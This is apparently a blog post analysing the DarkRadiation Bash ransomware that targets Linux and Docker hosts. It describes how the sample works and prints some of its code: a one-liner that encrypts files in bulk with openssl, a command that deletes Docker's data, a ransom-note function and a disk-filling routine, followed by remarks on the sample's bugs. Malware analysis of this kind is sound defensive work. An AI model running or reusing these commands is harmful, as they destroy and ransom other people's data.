██████╗ ██████╗ ██╗ ██╗ █████╗ ╚════██╗██╔═══██╗██║ ██║██╔══██╗ █████╔╝██║ ██║███████║███████║ ╚═══██╗██║ ██║██╔══██║██╔══██║ ██████╔╝╚██████╔╝██║ ██║██║ ██║ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Welcome to 3OHA, a place for random notes, thoughts, and factoids that I want to share or remember
21 December 2022
DarkRadiation is a ransomware targeting Linux and Docker containers that was first spotted in the wild in May 2021. It is part of a collection of shell scripts that include not only several versions of the ransomware sample but also an SSH worm (which is also a Bash script) and other supporting tools. Trend Micro and SentinelOne reported on DarkRadiation in June 2021.
The sample I analyzed was dubbed supermicro_cr
and has hash 1c2b09417c1a34bbbcb8366c2c184cf31353acda0180c92f99828554abf65823
. The ransomware is implemented in 272 lines of a Bash script that is not obfuscated. Both the original sample and the beautified version that I prepared (slightly reformatted and profusely commented) are available in this GitHub repository.
The DarkRadiation ransomware works as follows:
curl
, wget
, openssl
) are installed in the system. If not, it tries to install them via both the apt
and yum
package managers./usr/share/man/man8/supermicro_bt
and then executed.0.txt
from a remote endpoint. Successful downloading the file triggers the encryption process, which consists of the following steps:ferrum
and a password grabbed from an endpoint.wheel
group, disabling their login shells and killing all processes of logged on users. Only one user (jackie
in the sample I analyzed) is left out of this process.authorized_keys
files in the system..txt
, .sh
, and .py
files in the system/home
and /root
directories.grep -r '/home' -e "" --include=\*.* -l | tr '\n' '\0' | xargs -P 10 -I FILE -0 openssl enc -aes-256-cbc -salt -pass pass:$PASS_DEC -in FILE -out FILE.☢The encryption/decryption password (
$PASS_DEC
) is generated using contents retrieved via curl
from a remote endpointrm -rf /var/lib/docker/
), if any.create_message () { cat>/etc/motd << EOF █████████████████████████████████████████████████████████████████████████████████████████████████████████████████████ ███████▀▀▀░░░░░░░▀▀▀█████████████████▀▀▀░░░░░░░▀▀▀█████████████████▀▀▀░░░░░░░▀▀▀█████████████████▀▀▀░░░░░░░▀▀▀███████ ████▀░░░░░░░░░░░░░░░░░▀███████████▀░░░░░░░░░░░░░░░░░▀███████████▀░░░░░░░░░░░░░░░░░▀███████████▀░░░░░░░░░░░░░░░░░▀████ ███│░░░░░░░░░░░░░░░░░░░│█████████│░░░░░░░░░░░░░░░░░░░│█████████│░░░░░░░░░░░░░░░░░░░│█████████│░░░░░░░░░░░░░░░░░░░│███ ██▌│░░░░░░░░░░░░░░░░░░░│▐███████▌│░░░░░░░░░░░░░░░░░░░│▐███████▌│░░░░░░░░░░░░░░░░░░░│▐███████▌│░░░░░░░░░░░░░░░░░░░│▐██ ██░└┐░░░░░░░░░░░░░░░░░┌┘░███████░└┐░░░░░░░░░░░░░░░░░┌┘░███████░└┐░░░░░░░░░░░░░░░░░┌┘░███████░└┐░░░░░░░░░░░░░░░░░┌┘░██ ██░░└┐░░░░░░░░░░░░░░░┌┘░░███████░░└┐░░░░░░░░░░░░░░░┌┘░░███████░░└┐░░░░░░░░░░░░░░░┌┘░░███████░░└┐░░░░░░░░░░░░░░░┌┘░░██ ██░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░███████░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░███████░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░███████░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░██ ██▌░│██████▌░░░▐██████│░▐███████▌░│██████▌░░░▐██████│░▐███████▌░│██████▌░░░▐██████│░▐███████▌░│██████▌░░░▐██████│░▐██ ███░│▐███▀▀░░▄░░▀▀███▌│░█████████░│▐███▀▀░░▄░░▀▀███▌│░█████████░│▐███▀▀░░▄░░▀▀███▌│░█████████░│▐███▀▀░░▄░░▀▀███▌│░███ ██▀─┘░░░░░░░▐█▌░░░░░░░└─▀███████▀─┘░░░░░░░▐█▌░░░░░░░└─▀███████▀─┘░░░░░░░▐█▌░░░░░░░└─▀███████▀─┘░░░░░░░▐█▌░░░░░░░└─▀██ ██▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄███████▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄███████▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄███████▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄██ ████▄─┘██▌░░░░░░░▐██└─▄███████████▄─┘██▌░░░░░░░▐██└─▄███████████▄─┘██▌░░░░░░░▐██└─▄███████████▄─┘██▌░░░░░░░▐██└─▄████ █████░░▐█─┬┬┬┬┬┬┬─█▌░░█████████████░░▐█─┬┬┬┬┬┬┬─█▌░░█████████████░░▐█─┬┬┬┬┬┬┬─█▌░░█████████████░░▐█─┬┬┬┬┬┬┬─█▌░░█████ ████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐███████████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐███████████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐███████████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐████ █████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████████████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████████████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████████████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████ ███████▄░░░░░░░░░░░▄█████████████████▄░░░░░░░░░░░▄█████████████████▄░░░░░░░░░░░▄█████████████████▄░░░░░░░░░░░▄███████ ██████████▄▄▄▄▄▄▄███████████████████████▄▄▄▄▄▄▄███████████████████████▄▄▄▄▄▄▄███████████████████████▄▄▄▄▄▄▄██████████ ██╗ ██╗ ██████╗ ██╗ ██╗ ██╗ ██╗███████╗██████╗ ███████╗ ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ╚██╗ ██╔╝██╔═══██╗██║ ██║ ██║ ██║██╔════╝██╔══██╗██╔════╝ ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ╚████╔╝ ██║ ██║██║ ██║ ██║ █╗ ██║█████╗ ██████╔╝█████╗ ███████║███████║██║ █████╔╝ █████╗ ██║ ██║ ╚██╔╝ ██║ ██║██║ ██║ ██║███╗██║██╔══╝ ██╔══██╗██╔══╝ ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║ ██║ ╚██████╔╝╚██████╔╝ ╚███╔███╔╝███████╗██║ ██║███████╗ ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝ Contact us on mail: nationalsiense@protonmail.com 您已被黑客入侵!您的数据已被下载并加密。请联系Email:nationalsiense@protonmail.com。如不联系邮件,将会被采取更严重的措施。 EOF }
del_zero () { dd if=/dev/zero of=/null rm -rf /null }There's nothing wrong with this, which is actually a neat way of getting the job done. However, it's unclear to me why the designers chose this option instead of, say, using
shred
to wipe all files after encrypting them.
Some elements in the code make me think that this could be an unfinished sample that is still in development. For example, the $PATH_TEMP_FILE
variable in check_root()
is undefined. Some other variables are never used, such as $PASS_ENC
or PATH_FILE
. Also, the user_change()
function contains two very obvious bugs that would be easily spotted with some testing or code review:
jackie
. I presume that it should be the username which has just been created instead (ferrum
).cut
filter looks for exactly 6 spaces to identify the tty field, but this might not always be the case.
Another interesting point is that the password generation process does not use salt, which is recommended to avoid (potential) brute force attacks. More importantly, the password generation method used by the sample is deprecated, and openssl recommends to use -iter
or pbkdf2
instead.